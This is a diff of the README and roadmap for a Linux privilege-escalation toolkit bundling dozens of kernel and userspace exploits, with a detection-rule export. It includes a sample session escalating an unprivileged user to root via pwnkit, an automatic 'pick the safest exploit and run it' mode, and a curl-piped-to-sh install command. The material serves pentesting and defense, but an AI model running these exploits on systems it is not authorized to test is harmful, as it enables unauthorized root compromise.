+  work, run nothing
+- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
+  no detection signatures and went stale years ago
+- **Per-CVE PoC repos** — one author, one distro, abandoned within
+  months
+
+SKELETONKEY is one binary, actively maintained, with detection rules
+for every CVE in the bundle — same project for red and blue teams.
+
+## Who it's for
+
+| Audience | What you get |
+|---|---|
+| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
+| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
+| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
+| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
+
+## Corpus at a glance
+
+**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE
+timeline. **28 of the 34 CVEs have been empirically verified** in real
+Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are
+blocked by their target environment (legacy hypervisor, EOL kernel, or
+the t64-transition libc rollout), not by missing code.
+
+| Tier | Count | What it means |
+|---|---|---|
+| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
+| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
+
+**🟢 Modules that land root on a vulnerable host:**
+copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
+(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
+cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
+(KASLR leak primitive)
+
+**🟡 Modules with opt-in `--full-chain`:**
+af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
+nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
+netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
+
+### Empirical verification (28 of 34 CVEs)
+
+Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
+each verdict against a known-target VM. Coverage:
+
+| Distro / kernel | Modules verified |
+|---|---|
+| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
+| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
+| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
+| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
+| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
+
+**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant
+box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
+`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
+rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
+modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
+kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
+13+; no Parallels-supported box has those yet). All six are flagged in
+[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
+rationale.
+
+See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
+detection status. Run `skeletonkey --module-info <name>` for the
+embedded verification records per module.
 
 ## Quickstart
 
 ```bash
-# One-shot install (x86_64 / arm64; checksum-verified)
-curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
-```
+# Install (x86_64 / arm64; checksum-verified)
+curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
 
-**iamroot runs as a normal unprivileged user** — that's the whole
-point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
-work without `sudo`. Only `--mitigate` and rule-file installation
-write to root-owned paths.
-
-```bash
 # What's this box vulnerable to?  (no sudo)
-iamroot --scan
+skeletonkey --scan
 
-# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
-iamroot --audit
+# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
+# CISA KEV status, live detect() trace, OPSEC footprint, detection
+# coverage. Useful for triage tickets and SOC analyst handoffs.
+skeletonkey --explain nf_tables
 
-# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
-iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
+# Pick the safest LPE and run it
+skeletonkey --auto --i-know
 
-# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
-sudo iamroot --mitigate copy_fail
+# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
+skeletonkey --detect-rules --format=auditd \
+  | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 
-# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
-./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
+# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
+./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
+  --ssh-key ~/.ssh/id_rsa hosts.txt
 ```
 
+**SKELETONKEY runs as a normal unprivileged user** — that's the point.
+`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
+`sudo`. Only `--mitigate` and rule-file installation write root-owned
+paths.
+
 ### Example: unprivileged → root
 
 ```text
 $ id
 uid=1000(kara) gid=1000(kara) groups=1000(kara)
 
-$ iamroot --scan
-[+] dirty_pipe       VULNERABLE (kernel 5.15.0-56-generic)
-[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
-[+] pwnkit           VULNERABLE (polkit 0.105-31ubuntu0.1)
-[-] copy_fail        not vulnerable (kernel 5.15 < introduction)
-[-] dirty_cow        not vulnerable (kernel ≥ 4.9)
+$ skeletonkey --auto --i-know
+[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
+[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
+[*] auto: scanning 39 modules for vulnerabilities...
+[+] auto: dirty_pipe             VULNERABLE (safety rank 90)
+[+] auto: cgroup_release_agent   VULNERABLE (safety rank 98)
+[+] auto: pwnkit                 VULNERABLE (safety rank 100)
+[ ] auto: copy_fail              patched or not applicable
+[ ] auto: nf_tables              precondition not met
+...
 
-$ iamroot --exploit dirty_pipe --i-know
-[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
-[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
-[+] dirty_pipe: spawning su root
+[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
+[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
+[*] auto: launching --exploit pwnkit...
+
+[+] pwnkit: writing gconv-modules cache + payload.so...
+[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
 # id
 uid=0(root) gid=0(root) groups=0(root)
 ```
 
-`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
-the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
-for the blue-team deployment guide.
+The safety ranking goes: **structural escapes** (no kernel state
+touched) → **page-cache writes** → **userspace cred-races** →
+**kernel primitives** → **kernel races** (least predictable). The
+goal is to never crash a production box looking for root.
 
-## What this is
+## How it works
 
-Most Linux LPE references are dead repos, broken PoCs, or single-CVE
-deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
-is empirically verified to work on the kernels it claims to target,
-CI-tested across a distro matrix, and ships with the detection
-signatures defenders need to spot it in their environment.
+Each CVE (or tightly-related family) is a **module** under `modules/`.
+Modules export a standard interface (`detect / exploit / mitigate /
+cleanup`) plus metadata (kernel range, detection rule text). The
+top-level binary dispatches per command:
 
-The same binary covers offense and defense:
+- `--scan` walks every module's `detect()` against the running host
+- `--exploit <name> --i-know` runs the named module's exploit (the
+  `--i-know` flag is the authorization gate)
+- `--auto --i-know` does the scan, ranks by safety, runs the safest
+- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
+  embedded rule corpus
+- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
+  mitigations (module-dependent — most kernel modules say "upgrade")
+- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
+  emits a ready-to-paste C entry for the `--full-chain` offset table
 
-- `iamroot --scan` — fingerprint the host, report which bundled CVEs
-  apply, and which are blocked by patches/config/LSM
-- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
-  authorization gate)
-- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
-  every bundled CVE so blue teams can drop them into their tooling
-- `iamroot --mitigate` — apply temporary mitigations for CVEs the
-  host is vulnerable to (sysctl knobs, module blacklists, etc.)
+See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
+module-loader design.
+
+## The verified-vs-claimed bar
+
+Most public PoC repos hardcode offsets for one kernel build and
+silently break elsewhere. SKELETONKEY refuses to ship fabricated
+offsets. The shared `--full-chain` finisher only returns
+`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
+otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
+populate the offset table once per target kernel via
+`skeletonkey --dump-offsets` and either set env vars or upstream the
+entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
+
+## Build from source
+
+```bash
+git clone https://github.com/KaraZajac/SKELETONKEY.git
+cd SKELETONKEY
+make
+./skeletonkey --version
+```
+
+Builds clean with gcc or clang on any modern Linux. macOS dev builds
+also compile (modules with Linux-only headers stub out gracefully).
 
 ## Status
 
-**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
-across the 2016 → 2026 LPE timeline:
+**v0.9.3 cut 2026-05-24.** 39 modules across 34 CVEs — **every
+year 2016 → 2026 now covered**. v0.9.0 added 5 gap-fillers
+(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
+`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
+`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
+the verified count from 22 → 28 by booting real vulnerable kernels
+(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
+1.9.16p1 + Debian 12 + polkit allow rule for udisks).
+**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
+20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
+kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
+every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
+static-musl flavors).
 
-- 🟢 **13 modules land root** end-to-end on a vulnerable host
-  (copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
-  overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
-  cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
-- 🟡 **11 modules fire the kernel primitive** by default and refuse
-  to claim root without empirical confirmation. Pass `--full-chain`
-  to engage the shared `modprobe_path` finisher and attempt root
-  pop — requires kernel offsets via env vars / `/proc/kallsyms` /
-  `/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
-  Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
-  fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
-  nft_payload, nft_set_uaf, stackrot.
-- Detection rules ship inline (auditd / sigma / yara / falco) and
-  are exported via `iamroot --detect-rules --format=…`.
+Reliability + accuracy work in v0.7.x:
+- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
+  startup — kernel/distro/userns gates/sudo+polkit versions — exposed
+  to every module via `ctx->host`.
+- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
+  unit tests + 55 detect() integration tests over mocked host
+  fingerprints. Runs in CI on every push.
+- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
+  that boots known-vulnerable kernels (stock distro + mainline via
+  kernel.ubuntu.com), runs `--explain --active` per module, records
+  match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
+- **`--explain <module>`** — single-page operator briefing: CVE / CWE
+  / MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
+  trace, OPSEC footprint, detection-rule coverage, verified-on
+  records. Paste-into-ticket ready.
+- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
+  CISA KEV catalog + NVD CWE; 12 of 34 modules cover KEV-listed CVEs.
+- **151 detection rules** across auditd / sigma / yara / falco; one
+  command exports the corpus to your SIEM.
+- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
+  exploit, structured verdict table, scan summary, `--dry-run`.
 
-See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
-See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
+Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only),
+`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
+4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
+`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
+Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
+libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has
+those yet). Rationale in
+[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
 
-## Why this exists
+See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
+infrastructure work.
 
-The Linux kernel privilege-escalation space is fragmented:
+## Contributing
 
-- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
-  exploits, don't run them
-- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
-  stale, no CI, no defensive signatures
-- **Per-CVE single-PoC repos**: usually one author, often abandoned
-  within months of release, often only one distro
+PRs welcome for: kernel offsets (run `--dump-offsets` on a target
+kernel, paste into `core/offsets.c`), new modules, detection rules,
+and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
 
-IAMROOT's bet is that there's room for a single curated bundle that
-(1) actively maintains a small set of high-quality exploits across a
-multi-distro matrix, and (2) ships detection rules alongside each
-exploit so the same project serves both red and blue teams.
-
-## Architecture
-
-Each CVE (or tightly-related family) is a **module** under `modules/`.
-Modules export a standard interface: `detect()`, `exploit()`,
-`mitigate()`, `cleanup()`, plus metadata describing affected kernel
-ranges, distro coverage, and CI test matrix.
-
-Shared infrastructure (AppArmor bypass, su-exploitation primitives,
-fingerprinting, common utilities) lives in `core/`.
-
-See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
-module-loader design and how to add a new CVE.
-
-## Build & run
+**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
+polls Debian's security tracker and reports drift between each
+module's hardcoded `kernel_patched_from` thresholds and the
+fixed-versions Debian actually ships. Run periodically (or in CI)
+to catch new backports that need to land in the corpus:
 
 ```bash
-make                          # build all modules
-./iamroot --scan              # what's this box vulnerable to?  (no sudo)
-./iamroot --scan --json       # machine-readable output for CI/SOC pipelines
-./iamroot --detect-rules --format=sigma > rules.yml
-./iamroot --exploit copy_fail --i-know   # actually run an exploit (starts as $USER)
+tools/refresh-kernel-ranges.py            # human report
+tools/refresh-kernel-ranges.py --json     # machine-readable
+tools/refresh-kernel-ranges.py --patch    # proposed C-source edits
 ```
 
 ## Acknowledgments
 
 Each module credits the original CVE reporter and PoC author in its
-`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
-research credit belongs to the people who found the bugs.
+`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
+the research credit belongs to the people who found the bugs.
 
 ## License
 

ROADMAP.md

@@ -15,18 +15,18 @@ commitments.
 
 ## Phase 1 — Make the bundling real (DONE 2026-05-16)
 
-- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
+- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
       registry, route to module's detect/exploit
 - [x] Module interface header (`core/module.h`) — standard
-      `iamroot_module` struct + `iamroot_result_t` (numerically
+      `skeletonkey_module` struct + `skeletonkey_result_t` (numerically
       aligned with copy_fail_family's `df_result_t` for zero-cost
       bridging)
 - [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
-- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
+- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
       exposing 5 modules
 - [x] Top-level `Makefile` that builds all modules into one binary
-- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
-      `iamroot --list` prints the module inventory
+- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
+      `skeletonkey --list` prints the module inventory
 - [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
       `exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
       across families). Phase 1 keeps them inside copy_fail_family/src/
@@ -35,7 +35,7 @@ commitments.
 
 ## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
 
-Public PoC, well-understood, useful for completeness — IAMROOT
+Public PoC, well-understood, useful for completeness — SKELETONKEY
 without Dirty Pipe is incomplete as a "historical bundle." Affects
 kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
 deployments (worth bundling — many production boxes still run
@@ -49,7 +49,7 @@ these).
       branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
 - [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
       watches) and `sigma.yml` (non-root modification of sensitive files)
-- [x] Registered in `iamroot --list` / `--scan` output. Verified on
+- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
       kernel 6.12.86 → correctly reports OK (patched).
 - [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
       passwd-UID and page-cache-revert helpers in the module (~80 lines).
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
 
 - [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
 - [x] Exposed as a library helper: other modules can call
-      `entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
-- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
+      `entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
+- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
       --i-know` produces a kbase leak. Verified on kctf-mgr:
       leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
 - [x] `entry_SYSCALL_64` slot offset configurable via
-      `IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
+      `SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
       Future enhancement: auto-detect via /boot/System.map or
       /proc/kallsyms if accessible.
 
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
 
 ## Phase 5 — Detection signature export (DONE 2026-05-16)
 
-- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
+- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
       across all modules (deduped — family-shared rules emit once)
-- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
+- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
 - [x] `--format=yara` and `--format=falco` flags accepted; per-module
       strings can be added when authors ship them. Currently no module
       ships YARA or Falco rules (skipped cleanly).
-- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
+- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
       `detect_yara`, `detect_falco` fields — each NULL or pointer to
       embedded C string. Self-contained binary, no data-dir install needed.
 - [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
 
 ## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
 
-- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
+- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
       member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
       `kernel.apparmor_restrict_unprivileged_userns=1`, drops page
       cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
-- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
+- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
       state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
       `mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
       sufficient for common usage patterns.
-- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
+- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
       (already landed in Phase 2 complete).
 - [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
       no automated mitigation possible. Document and skip.
@@ -164,33 +164,194 @@ Backfill of historical and recent LPEs as time allows.
       (hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
       msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
 
+**Landed since v0.1.0 (in the 28-module verified corpus):**
+
+- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
+      (`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
+- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
+      overflow → kernel stack OOB; trigger + witness, no cred chain).
+- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
+      structural argv-injection (no kernel state, no offsets).
+- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
+      PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
+
+**Landed (ported from public PoC, pending VM verification — NOT part
+of the 28-module verified corpus):**
+
+- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
+      write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
+      stub is retired. The stub's open question ("is the
+      unprivileged-userns-netns scenario in scope?") is resolved —
+      the module ships and reports `PRECOND_FAIL` when the userns gate
+      is closed.
+- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
+      decrypt page-cache write. Ported from the V12 PoC.
+- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
+      TOCTOU. Ported from the public Vozec PoC; original disclosure by
+      Deutsche Telekom security. Userspace D-Bus LPE with high-
+      confidence `detect()` — reads PackageKit's version directly over
+      D-Bus and compares against the pinned fix release 1.3.5 (commit
+      `76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
+      Adds an optional GLib/GIO build dependency, autodetected via
+      `pkg-config gio-2.0`; stub-compiles if absent.
+- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
+      on a vulnerable target**, pin remaining CVE fix commits, add
+      version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
+      `--active` so the probes give definitive verdicts; each
+      `detect()` runs in a fork-isolated child so one bad probe
+      cannot tear down the scan.
+
+**--auto accuracy work (landed 2026-05-22):**
+
+- [x] `--auto` auto-enables `--active`: per-module sentinel probes
+      run in `/tmp` / fork-isolated namespaces, so version-only
+      checks can no longer be fooled by silent distro backports.
+- [x] Per-module verdict table at scan time (VULNERABLE / patched /
+      precondition / indeterminate) instead of only printing the
+      `VULNERABLE` rows.
+- [x] Scan-end summary line counting each verdict class.
+- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
+      printed in the `--auto` banner alongside kernel + arch.
+- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
+      module's probe is contained and the scan continues. Surfaced
+      while testing entrybleed's `prefetchnta` sweep under emulated
+      CPUs: exactly the failure mode the isolation now handles.
+- [x] `--dry-run` flag: previews the picked exploit (or single-module
+      operation) without firing. Works with `--auto`, `--exploit`,
+      `--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
+      `--i-know` (nothing fires) so operators can inspect the host's
+      attack surface without arming. Bare `--auto` still gates on
+      `--i-know` and now points to `--dry-run` in the refusal message.
+- [x] Version-pinned `detect()` for the 3 ported modules — Debian
+      tracker provided the fix commits: `dirtydecrypt` against mainline
+      `a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
+      against PackageKit 1.3.5. The `kernel_range` model now drives
+      their verdicts; `--active` confirms empirically on top.
+- [x] **`core/host` host-fingerprint refactor.** A single
+      `struct skeletonkey_host` is populated once at startup and
+      handed to every module via `ctx->host`: kernel version + arch
+      + distro id/version + capability gates (unprivileged_userns,
+      AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
+      Yama ptrace) + service presence (systemd, system D-Bus). The
+      `--auto` / `--scan` banner now prints the fingerprint up front
+      so operators see at a glance which gates are open. 4 modules
+      migrated to consume the fingerprint (dirtydecrypt, fragnesia,
+      pack2theroot, overlayfs) — replacing per-detect `uname`s,
+      `/etc/os-release` parses, and userns fork-probes with O(1)
+      cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
+      future modules can opt-in by including `core/host.h`.
+- [ ] Migrate the remaining modules (cgroup_release_agent /
+      overlayfs_setuid / copy_fail_family bridge / others) to
+      consume `ctx->host` — incremental follow-up.
+
 **Carry-overs:**
 
-- [ ] **CVE-2023-2008** — vmwgfx OOB write
-- [ ] Fragnesia (if it lands as a CVE)
 - [ ] Anything we ourselves disclose — bundled AFTER upstream patch
       ships (responsible-disclosure-first)
 
 ## Phase 8 — Full-chain promotions (post v0.1.0)
 
-The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
+The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
 cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
 modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
 None requires fresh research — each has a public reference exploit;
 the work is porting the per-kernel offset dance into a portable
-shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
+shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
 likely as an env-var override table per distro+kernel, with offset
 auto-resolve via System.map / kallsyms when accessible).
 
 Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
 (Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
-The other four are lower priority — fuse_legacy and cls_route4 have
+The remainder are lower priority — fuse_legacy and cls_route4 have
 narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
-race window makes it inherently low-yield.
+race window makes it inherently low-yield; the nft_* family and
+vmwgfx need their per-kernel offset tables built out.
+
+The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
+**not** part of this Phase 8 promotion set — they need VM verification
+and pinned fix commits first (tracked under Phase 7+ above) before any
+full-chain work is meaningful.
+
+## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
+
+The largest single jump in trust signal: every claim in the corpus is
+now backed by either a unit test (88-test harness) or a real-VM
+verification record (22 of 26 CVEs), and the binary surfaces both.
+
+- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
+      known-vulnerable kernels (stock distro + mainline via
+      `kernel.ubuntu.com/mainline/`), runs `--explain --active` per
+      module, emits JSONL verification records.
+- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
+      field downloads vanilla mainline .debs from
+      `kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
+      `update-grub`s, reboots. Unblocks pin-not-in-apt targets.
+- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
+      Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
+      `docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
+      surfaced in `--list` (VFY column), `--module-info`, `--explain`,
+      `--scan --json`.
+- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
+      MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
+      trace with verdict + interpretation, OPSEC footprint, detection-
+      rule coverage, verified-on records. Paste-into-ticket ready.
+- [x] **Per-module `opsec_notes`** — every module struct ships a
+      runtime-footprint paragraph (file artifacts, dmesg, syscall
+      observables, network, persistence, cleanup). The inverse of the
+      detection rules.
+- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
+      fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
+      CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
+      Surfaced everywhere (`★` markers, `triage` JSON sub-object).
+- [x] **119 detection rules across all 4 SIEM formats** — auditd
+      30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
+      intentional skips for the 3 modules without applicable rules
+      in each format (entrybleed: pure timing side-channel;
+      ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
+      artifacts).
+- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
+      boundary tests + 55 detect() integration tests. ASan + UBSan
+      + clang-tidy on every push; weekly cron checks for CISA KEV
+      + Debian security-tracker drift.
+- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
+      alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
+      cross toolchain. `install.sh` auto-picks on aarch64 hosts.
+- [x] **`arch_support` field** per module: `any` (4 — userspace
+      bugs), `x86_64` (1 — entrybleed by physics),
+      `x86_64+unverified-arm64` (26 — kernel modules whose arm64
+      exploit hasn't been empirically confirmed). Honest labels until
+      an arm64 verification sweep promotes them.
+- [x] **Marketing-grade landing page** — animated hero with
